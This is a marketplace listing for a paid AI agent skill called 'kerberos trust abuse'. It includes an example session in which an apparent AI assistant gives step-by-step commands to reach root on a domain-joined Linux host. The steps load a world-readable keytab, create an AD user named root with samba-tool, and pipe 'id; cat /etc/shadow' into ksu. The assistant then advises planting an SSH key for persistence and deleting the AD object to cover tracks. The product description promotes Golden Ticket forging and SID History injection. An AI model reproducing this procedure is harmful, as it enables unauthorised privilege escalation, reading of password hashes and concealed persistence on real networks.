Works with the AI Agents you already use
kerberos trust abuse
by NZ1Labs
Exploit Kerberos trusts, MIT krb5 on Linux, and cross-forest SID History while bypassing common tool limitations.
$11
kerberos trust abuse
Example session with this skill installed
I have a world-readable keytab on a domain-joined Ubuntu box and I have CreateChild rights on the Computers OU. How do I get root on this machine using ksu?
- Read your context and instructions
- Compiled the kerberos trust abuse
To escalate to root using the ksu path, you must leverage the way MIT krb5 handles local authorization for interactive sessions versus command execution.
Linux ksu Escalation Procedure
-
Verify and Load Keytab:
Check the principal inside the keytab and initialize your ticket.klist -kt /etc/krb5.keytab kinit -kt /etc/krb5.keytab <principal_name> -
Fix LDAP Canonicalization:
If LDAP enumeration fails with GSSAPI errors, disable hostname canonicalization before creating the user.echo 'SASL_NOCANON on' > /tmp/l.conf export LDAPCONF=/tmp/l.conf -
Create Shadow User:
Create an AD user with the namerootinside the OU where you have permissions.samba-tool user create root 'P@ssword123!' --userou="OU=Computers,DC=example,DC=com" -H ldap://dc01.example.com -
Interactive Escalation:
Initialize a ticket for your new ADrootuser and invokeksu. You must use the interactive path to bypass.k5loginrequirements.kinit root@EXAMPLE.COM echo 'id; cat /etc/shadow' | ksu root
Next steps
- Persistence: Append your SSH public key to
/root/.ssh/authorized_keysimmediately after gaining access. - Cleanup: Delete the
rootAD object usingsamba-toolonce the local backdoor is established. - Check for other keytabs in
/etc/that might belong to service accounts with higher AD privileges.
Connects securely to your tools. The creator never sees your data.
About this skill
The problem
Kerberos exploitation often stalls when transitioning between Linux and Windows, or when moving across forest boundaries. Standard tools frequently fail on clock skew, PAC reconstruction, or missing referral support in Impacket.
What it does
- Automates the
ksuroot escalation path on domain-joined Linux hosts using world-readable keytabs. - Manages cross-forest movement using SID History injection and manual inter-realm TGT forging.
- Provides monkey-patches for Impacket to handle clock skew,
SeBackupPrivilege(Backup Intent), and referral chasing. - Fixes GSSAPI/LDAP canonicalization errors that prevent enumeration from Linux pivots.
- Handles the technical implementation of "Golden Tickets" for cross-realm service access.
Frameworks & tools
MIT krb5, Impacket, SSSD, Samba-tool, and OpenLDAP.
Why this beats prompting it yourself
This skill handles the "silent failures" that standard LLMs miss, such as Impacket's CCache.loadFile classmethod trap and PAC stripping at external trust boundaries. It provides specific environment-variable hooks and Python patches that are necessary when the target KDC is only reachable via SOCKS/SSH.
Use cases
- Escalating to root on a Linux server by creating a matching AD user via LDAP.
- Accessing resources in a partner forest when Impacket returns
KDC_ERR_WRONG_REALM. - Bypassing DACLs using
SeBackupPrivilegeover an SMB session. - Synchronizing Kerberos timestamps to match drifting Domain Controllers without changing the host clock.
Known limitations
Requires authorized access to trust keys or keytabs. Server 2025 PAC hardening requires a real principal RID for forged tickets.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before buying a skill.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
Fresh listing
Recently published to Agensi
Money-back guarantee
Doesn't do what its page promises? You get your money back.
Trust & safety
Security scan
Security scan passed 16 days ago
- Software
Python
Permissions
What's inside
Frequently Asked Questions
New in Security
Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Security.